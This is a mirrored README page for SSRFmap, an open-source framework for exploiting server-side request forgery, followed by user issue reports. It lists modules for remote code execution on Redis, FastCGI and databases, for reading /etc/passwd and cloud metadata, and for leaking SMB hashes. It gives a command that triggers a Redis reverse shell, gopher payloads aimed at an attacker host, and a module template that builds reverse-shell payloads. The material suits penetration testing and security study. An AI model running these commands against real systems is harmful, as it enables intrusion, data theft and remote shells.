Code Monkey home page Code Monkey logo

ssrfmap's Introduction

SSRFmap Python 3.4+ Rawsec's CyberSecurity Inventory

SSRF are often used to leverage actions on other services, this framework aims to find and exploit these services easily. SSRFmap takes a Burp request file as input and a parameter to fuzz.

Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform requests on their behalf.

Summary

Modules

The following modules are already implemented and can be used with the -m argument.

Name Description
axfr DNS zone transfers (AXFR)
fastcgi FastCGI RCE
redis Redis RCE
github Github Enterprise RCE < 2.8.7
zabbix Zabbix RCE
mysql MySQL Command execution
postgres Postgres Command execution
docker Docker Infoleaks via API
smtp SMTP send mail
portscan Scan top 8000 ports for the host
networkscan HTTP Ping sweep over the network
readfiles Read files such as /etc/passwd
alibaba Read files from the provider (e.g: meta-data, user-data)
aws Read files from the provider (e.g: meta-data, user-data)
gce Read files from the provider (e.g: meta-data, user-data)
digitalocean Read files from the provider (e.g: meta-data, user-data)
socksproxy SOCKS4 Proxy
smbhash Force an SMB authentication via a UNC Path
tomcat Bruteforce attack against Tomcat Manager
custom Send custom data to a listening service, e.g: netcat
memcache Store data inside the memcache instance

Install and Manual

  • From the Github repository.

    $ git clone https://github.com/swisskyrepo/SSRFmap
    $ cd SSRFmap/
    $ pip3 install -r requirements.txt
    $ python3 ssrfmap.py
    
      usage: ssrfmap.py [-h] [-r REQFILE] [-p PARAM] [-m MODULES] [-l HANDLER]
                        [-v [VERBOSE]] [--lhost LHOST] [--lport LPORT]
                        [--uagent USERAGENT] [--ssl [SSL]] [--level [LEVEL]]
    
      optional arguments:
        -h, --help          show this help message and exit
        -r REQFILE          SSRF Request file
        -p PARAM            SSRF Parameter to target
        -m MODULES          SSRF Modules to enable
        -l HANDLER          Start an handler for a reverse shell
        -v [VERBOSE]        Enable verbosity
        --lhost LHOST       LHOST reverse shell or IP to target in the network
        --lport LPORT       LPORT reverse shell or port to target in the network
        --uagent USERAGENT  User Agent to use
        --ssl [SSL]         Use HTTPS without verification
        --proxy PROXY       Use HTTP(s) proxy (ex: http://localhost:8080)
        --level [LEVEL]     Level of test to perform (1-5, default: 1)
  • Docker

    $ git clone https://github.com/swisskyrepo/SSRFmap
    $ docker build --no-cache -t ssrfmap .
    $ docker run -it ssrfmap ssrfmap.py [OPTIONS] 
    $ docker run -it -v $(pwd):/usr/src/app ssrfmap ssrfmap.py

Examples

First you need a request with a parameter to fuzz, Burp requests works well with SSRFmap. They should look like the following. More examples are available in the ./examples folder.

POST /ssrf HTTP/1.1
Host: 127.0.0.1:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://mysimple.ssrf/
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Connection: close
Upgrade-Insecure-Requests: 1

url=https%3A%2F%2Fwww.google.fr

Use the -m followed by module name (separated by a , if you want to launch several modules).

# Launch a portscan on localhost and read default files
python ssrfmap.py -r examples/request.txt -p url -m readfiles,portscan

If you want to inject inside a header, a GET or a POST parameter, you only need to specify the parameter name

python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /tmp/test

If you need to have a custom user-agent use the --uagent. Some targets will use HTTPS, you can enable it with --ssl.

# Launch a portscan against an HTTPS endpoint using a custom user-agent
python ssrfmap.py -r examples/request.txt -p url -m portscan --ssl --uagent "SSRFmapAgent"

Some modules allow you to create a connect back, you have to specify LHOST and LPORT. Also SSRFmap can listen for the incoming reverse shell.

# Triggering a reverse shell on a Redis
python ssrfmap.py -r examples/request.txt -p url -m redis --lhost=127.0.0.1 --lport=4242 -l 4242

# -l create a listener for reverse shell on the specified port
# --lhost and --lport work like in Metasploit, these values are used to create a reverse shell payload

When the target is protected by a WAF or some filters you can try a wide range of payloads and encoding with the parameter --level.

# --level : ability to tweak payloads in order to bypass some IDS/WAF. e.g: 127.0.0.1 -> [::] -> 0000: -> ...

SSRFmap Tests

A quick way to test the framework can be done with data/example.py SSRF service.

  • Local

    FLASK_APP=examples/example.py flask run &
    python ssrfmap.py -r examples/request.txt -p url -m readfiles
  • Docker

    docker build --no-cache -t ssrfmap .
    
    # run example ssrf http service
    docker run -it -v $(pwd):/usr/src/app --name example ssrfmap examples/example.py
    
    # run example ssrf dns service
    docker exec -u root:root -it example python examples/ssrf_dns.py
    
    # run ssrfmap tool
    docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m readfiles

Launch the tests requests:

docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request2.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request3.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request4.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request5.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m axfr
docker exec -it example python ssrfmap.py -r examples/request3.txt -p url -m axfr --lhost 127.0.0.1 --lport 53 --ldomain example.lab

Contribute

I ❤️ pull requests :) Feel free to add any feature listed below or a new service.

  • Redis PHP Exploitation
  • HTTP module (Jenkins ?)
gopher://<proxyserver>:8080/_GET http://<attacker:80>/x HTTP/1.1%0A%0A
gopher://<proxyserver>:8080/_POST%20http://<attacker>:80/x%20HTTP/1.1%0ACookie:%20eatme%0A%0AI+am+a+post+body

The following code is a template if you wish to add a module interacting with a service.

from core.utils import *
import logging

name          = "servicename in lowercase"
description   = "ServiceName RCE - What does it do"
author        = "Name or pseudo of the author"
documentation = ["http://link_to_a_research", "http://another_link"]

class exploit():
    SERVER_HOST = "127.0.0.1"
    SERVER_PORT = "4242"

    def __init__(self, requester, args):
        logging.info("Module '{}' launched !".format(name))

        # Handle args for reverse shell
        if args.lhost == None: self.SERVER_HOST = input("Server Host:")
        else:                  self.SERVER_HOST = args.lhost

        if args.lport == None: self.SERVER_PORT = input("Server Port:")
        else:                  self.SERVER_PORT = args.lport

        # Data for the service
        # Using a generator to create the host list
        # Edit the following ip if you need to target something else
        gen_host = gen_ip_list("127.0.0.1", args.level)
        for ip in gen_host:
            port = "6379"
            data = "*1%0d%0a$8%0d%0aflus[...]%0aquit%0d%0a"
            payload = wrapper_gopher(data, ip , port)

            # Handle args for reverse shell
            payload = payload.replace("SERVER_HOST", self.SERVER_HOST)
            payload = payload.replace("SERVER_PORT", self.SERVER_PORT)

            # Send the payload
            r = requester.do_request(args.param, payload)

You can also contribute with a beer IRL or via Github Sponsor button.

Thanks to the contributors

Inspired by

ssrfmap's People

Contributors

alekkras avatar daniel-corbett avatar dependabot[bot] avatar kxynos avatar makim0n avatar mashaz avatar mbharanya avatar scarletteam avatar sdussault avatar sengkyaut avatar swisskyrepo avatar tarunkant avatar ttffdd avatar xyzkab avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

ssrfmap's Issues

Error In Running

Here is the output of my error

Traceback (most recent call last):
File "ssrfmap.py", line 58, in
ssrf = SSRF(args)
File "/root/SSRFmap/core/ssrf.py", line 38, in init
module.exploit(self.requester, args)
File "./modules/readfiles.py", line 32, in init
print(diff)
UnicodeEncodeError: 'ascii' codec can't encode character '\xf1' in position 3839: ordinal not in ran

Is there a function for a fully automatic scan for SSRF?

First, excellent work on the tool.

Just wondering if there's a way to get SSRFmap to automatically generate a request and crawl params by just giving it a hostname or URL, or something approximating that. Then SSRFmap could use that data to be fully automatic and not require any manual input at all. Manual mode would still be useful in case of params that are not easily found of course.

Is this possible as of now with the options and just overlooked, or would be a good new feature?

ZAP has a reasonable script that demonstrates the idea that could be made use of: https://github.com/bugcrowd/HUNT/blob/master/ZAP/scripts/passive/SSRF.py

@xyzkab @swisskyrepo

Doesn't this work with Headers too?

the tool is great, but i want to test a SSRF i got withing a header and the only option i have is the -p of parameter and isn't working... if i try portscan or networkscan it just says everything is open, same with a nonexistent header/parameter.

readfile function


/ / | ___ \ |
\ --.\ --.| |
/ / |
_ __ ___ __ _ _ __
--. \--. \ /| | ' _ \ / _ | '

/_
/ /_
/ / |\ | | | | | | | | (
| | |
) |
_
/_/_| __| || || ||_,| .__/
| |
|
|
[INFO]:Module 'readfiles' launched !
[INFO]:Reading file : /etc/passwd
window.randomToken = "xxxxxxxxxxxxxxxxxxxxxxx"

while using readfile function recieving output window.random.token

is isssume by the tool or site

Error parsing JSON POST URL parameter

Hi,

I'm using this script but it seems this is not reading properly JSON POST parameters.
When I write down a request and set the -p parameter, the script tells the [ERROR]:No injection point found ! (use -p) error:

Request file:

image

Error:

image

image

Inventory notification

Your tool/software has been inventoried on Rawsec's CyberSecurity Inventory:

https://inventory.rawsec.ml/tools.html#SSRFmap

What is Rawsec's CyberSecurity Inventory?

An inventory of tools and resources about CyberSecurity. This inventory aims to help people to find everything related to CyberSecurity.

  • Open source: Every information is available and up to date. If an information is missing or deprecated, you are invited to (help us).
  • Practical: Content is categorized and table formatted, allowing to search, browse, sort and filter.
  • Fast: Using static and client side technologies resulting in fast browsing.
  • Rich tables: search, sort, browse, filter, clear
  • Fancy informational popups
  • Badges / Shields
  • Static API
  • Twitter bot

More details about features here.

Note: the inventory is a FLOSS (Free, Libre and Open-Source Software) project.

Why?

  • Specialized websites: Some websites are referencing tools but additional information is not available or browsable. Make additional searches take time.
  • Curated lists: Curated lists are not very exhaustive, up to date or browsable and are very topic related.
  • Search engines: Search engines sometimes does find nothing, some tools or resources are too unknown or non-referenced. These is where crowdsourcing is better than robots.

Why should you care about being inventoried?

Mainly because this is giving visibility to your tool, more and more people are using the Rawsec's CyberSecurity Inventory, this helps them find what they need.

Badges

The badge shows to your community that your are inventoried. This also shows you care about your project and want it growing, that your tool is not an abandonware.

Feel free to claim your badge here: http://inventory.rawsec.ml/features.html#badges, it looks like that Rawsec's CyberSecurity Inventory, but there are several styles available.

Want to thank us?

If you want to thank us, you can help make the project better known by tweeting about it! For example: Twitter URL

So what?

That's all, this message is just to notify you if you care.

Verbose mode not working

I would like to check the requests send to the target. I'm pretty sure I'm getting a lot of false positives.

The -v option doesn't do anything to the output of the command.

My command:

python3 ssrfmap.py -v -r data/request.txt -p url -m networkscan

The output is the same as running it without the -v flag.

[enhancement request] Add custom injection point

Sometimes it might be needed to have an injection point after a specific place in the saved request. Such as vulnparam=test;

If you we're to define -p vulnparam using SSRFMap it would likely scrub the parameter value. It would be nice to have a bit more control over where the SSRF payload is placed if you wanted.

memcache module not working

when using the memecache module I don't get an error but no data is being sent. If I switch to any other module with the same request I see data being sent out.

python3 ssrfmap.py -r data/request6.txt -p l -m memecache --lhost=10.10.X.X --lport=4443 -v --level 5


/ / | ___ \ |
\ --.\ --.| |
/ / |
_ __ ___ __ _ _ __
--. \--. \ /| | ' _ \ / _ | '
\
/_
/ /_
/ / |\ | | | | | | | | (
| | |
) |
_
/_/_| __| || || ||_,| .__/
| |
|
|
static@pancake ~/T/SSRFmap (master)>

GET HTTP/1.1
Host:
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
If-None-Match: "5e9f475f-13e5"
If-Modified-Since: Tue, 21 Apr 2020 19:19:59 GMT
Connection: close

POST body without param

POST /fetch HTTP/1.1
Host: somehost.local:8008
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/plain;charset=UTF-8
Content-Length: 16
Connection: keep-alive

http://127.0.0.1

It's not currently possible to fuzz in a POST body without a parameter.

$ ssrfmap -r $(pwd)/req.txt -m portscan
 _____ _________________                     
/  ___/  ___| ___ \  ___|                    
\ `--.\ `--.| |_/ / |_ _ __ ___   __ _ _ __  
 `--. \`--. \    /|  _| '_ ` _ \ / _` | '_ \ 
/\__/ /\__/ / |\ \| | | | | | | | (_| | |_) |
\____/\____/\_| \_\_| |_| |_| |_|\__,_| .__/ 
                                      | |    
                                      |_|    
[WARNING]:No parameter (-p) defined, nothing will be tested!
[INFO]:Module 'portscan' launched !

Problem with requests

Hi, thanks for this tool first. Because if I do the test on my 127.0.0.1:5000 server everything works, while if I create a request with burp suite of an X site, it doesn't work well for me? For example the portscan gives me all the open ports .. Surely I'm wrong something, but I don't understand what ...
As parameter -p I enter what Burp suite tells me for example:
Host: testphp.vulnweb.com
...
...
...
Referer: http://testphp.vulnweb.com/login.php
...
uname=&pass=

Burp gives me uname=&pass=
as a parameter and I enter this note...
-p uname=&pass=
It's right?

ImportError: No module named core.ssrf

python ssrfmap.py -r data/request.txt -p url -m readfiles,portscan

Traceback (most recent call last):
File "ssrfmap.py", line 3, in
from core.ssrf import SSRF
ImportError: No module named core.ssrf

Error parameter not recognized in JSON body request

Hi,

I have the following request saved from burp to a file:
image

And I am running the tool as follows:
python3 ssrfmap.py -r /home/user/Desktop/ssrfmap2.txt -p file_url -m portscan --ssl

I get the following error:
[ERROR]:No injection point found ! (use -p)

For some reason, it cannot parse parameter from the request file.

Not able to install/run ssrfmap.py

On running python ssrfmap.py -h, I am seeing the following error:

Traceback (most recent call last):
  File "ssrfmap.py", line 3, in <module>
    from core.ssrf import SSRF
ImportError: No module named core.ssrf

Apologies but not super familiar with how Python import works, but any help on how to get this working is greatly appreciated.

Error running

[ERROR]:Bad Format
[INFO]:Module 'portscan' launched !
Traceback (most recent call last):
File "ssrfmap.py", line 42, in
ssrf = SSRF(args)
File "/usr/share/ssrfmap/core/ssrf.py", line 38, in init
module.exploit(self.requester, args)
File "./modules/portscan.py", line 15, in init
r = requester.do_request(args.param, "")
File "/usr/share/ssrfmap/core/requester.py", line 96, in do_request
return r
UnboundLocalError: local variable 'r' referenced before assignment

I used all possibles variables like -r and --level or anything else.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.